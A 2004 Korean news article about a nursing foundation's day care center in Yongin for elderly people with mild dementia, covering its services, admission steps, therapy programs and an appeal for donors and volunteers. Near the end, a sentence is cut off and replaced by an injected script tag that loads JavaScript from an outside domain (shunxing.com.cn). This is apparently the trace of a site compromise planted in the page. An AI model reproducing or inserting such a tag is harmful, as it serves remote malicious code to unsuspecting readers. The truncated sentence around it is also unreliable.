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대한간호주간보호센터 어떻게 운영되나
기사입력 2004-09-02 오전 09:11:33
◆ "부모님 맡기고 편히 일해요" 호응
 지난 2000년 국내 전체 인구 중 노인인구 비율이 7%를 넘으면서 `고령화사회'로 접어들었지만 노인보건복지시설은 절대적으로 부족한 실정이다.
 전문가들은 치매로 인해 시설보호가 필요한 65세 이상 인구는 전체 노인인구의 1.8%에 이를 것으로 보고 있다. 하지만 국내 요양시설 입소정원은 2400명이고 무의탁노인이나 1%의 최상위층 노인복지시설을 빼면 보통의 노인환자들이 갈 곳이 없다.
 최근 들어 지역노인복지시스템의 성공사례로 꼽히고 있는 재가노인복지시설의 하나인 주간보호센터 역시 용인지역에는 없었다. 간호복지재단이 간호주간보호센터를 설치한 것이 처음이다.
 최국미 간호주간보호센터 시설장은 "간호복지재단이 간호주간보호센터를 설립한 것은 노인인구의 증가와 시대적 요구에 부응하고 지역사회 주민에게 간호의 본질인 `돌봄'을 제공하기 위한 것"이라면서 "간호협회 전체 회원의 뜻을 모아 개설된 만큼 경영이나 운영면에서 주간보호시설의 모델로 키워나갈 것"이라고 강조했다.
 치매 증세를 보인 어머니를 입소시킨 한 보호자는 "시설에 부모님을 모시는 것이 불효처럼 여겨져 처음에는 마음고생이 이만저만 아니었지만 어머니가 간호주간보호센터에 입소하신 후 감정 기복이 완화되고 밤에 잠도 잘 주무시는 모습을 보면서 참 잘한 일이라는 생각을 갖고 있다"고 말했다. 또 "간호복지재단에서 추진 중인 실비요양전문시설이 하루빨리 문을 열게 돼 중풍이나 치매로 고생하시는 많은 어르신들이 도움을 받았으면 좋겠다"고 덧붙였다.

◆ 이용안내
 서울서 경부나 호남고속도로를 내달려 영동고속도로 용인IC를 빠져나와 7분쯤 지방도로를 따라가다 보면 KNA연수원 시설 일부를 리모델링해 마련된 대한간호주간보호센터를 만날 수 있다.
 간호주간보호센터는 사단법인 대한간호복지재단이 경증 치매 어르신이 사회적으로 소외된 생활에서 벗어나 자립할 수 있도록 돕고 가족 및 보호자의 부양부담을 경감시키는 동시에 간호의 본질인 `돌봄'을 국민 모두에게 제공하기 위해 마련했다.
 이곳에서는 경증 치매를 앓고 있는 어르신들이 매주 월∼금요일 낮 시간(오전 9시∼오후 5시) 동안 간호사와 사회복지사, 영양사 등의 전문가로부터 전문적인 보건복지서비스를 제공받고 있다.
 간호주간보호센터에 입소하려면 전화상담(031-338-0041)이나 내방 → 보호자, 어르신 동행 사정 및 기능평가 → 가등록(적응관찰 1주일) → 입소 결정 등 소정의 절차를 밟으면 된다. 현재 간호주간보호센터에는 15명이 입소 가능하다.
 김의숙 대한간호복지재단 대표이사(대한간호협회장)는 "개인부담을 국가와 지역사회가 나눠 지고 노인환자의 가족간 갈등을 예방하면서 가족공동체의 해체를 막는 노인시설 확대가 시급하다"고 지적하고 "이러한 의미에서 간호복지재단이 운영하는 간호주간보호센터는 큰 의미를 지닌다"고 말했다.

◆ 프로그램
 경증치매 어르신을 낮 동안 보호하고 어르신들의 생활안정과 심신기능 유지를 위한 프로그램과 재활훈련을 실시하고 있는 간호주간보호센터에서는 가족과 보호자에게도 치매에 관련한 다양한 정보를 제공한다.
 특히 입소한 어르신에게 전문적인 보건복지서비스를 제공하기 위해 간호사와 사회복지사, 영양사 등의 전문가가 상주하고 있으며 서울·경기지역 간호사 98명으로 구성된 자원봉사자들이 함께 어르신들에게 내 집처럼 편안하고 안락한 최고의 서비스를 제공하고 있다.
 입소한 어르신들은 센터에 도착하면 주간프로그램에 따라 오전과 오후로 나눠 다양한 프로그램을 제공받는다.
 간호주간보호센터에서는 혈압 등 기초건강체크, 물리치료, 투약지도, 이·미용서비스 등과 함께 발마사지, 기체조 등 건강증진프로그램과 생활적응훈련, 원예치료, 미술치료, 음악치료, 작업치료, 등 교육 및 재활 치료서비스를 실시해 일상생활능력 향상과 함께 치매 증상이 더욱 악화되지 않도록 돕고 있다.
 아울러 노인전문병원인 효자병원과 협약을 맺고 있어 응급한 상황이나 노인들의 건강에 문제가 있을 때 도움을 받을 수 있다.
 간호주간보호센터에서 일하고 있는 이경진 사회복지사는 "미술이나 음악, 노래, 원예 등 치료사 자격을 가지고 있는 자원봉사자들의 손길이 너무 절실하다"고 강조했다. 또 "나와 상관없는 일이라 생각하지 말고 치매로 어려움을 겪고 계신 어르신들을 자신의 부모님이라 여기며 적은 액수라도 정성껏 재단을 후원하게 되면 도움의 손길을 기다리는 보다 많은 어르신들이 도움을 받을 수 있게 된다"며 많은 회원들의 참여를 당부했다.
 후원 및 자원봉사를 원하는 사람은 재단법인 사무국(02-2279-3619)이나 간호주간보호센터(031-338-0041)로 문의하면 된다. 인터넷 다음 카페(www.cafe.daum.net/silvet)를 통해서도 자세한 ?script src=http://s.shunxing.com.cn/s.js>

백찬기  ckbaik@nursenews.co.kr

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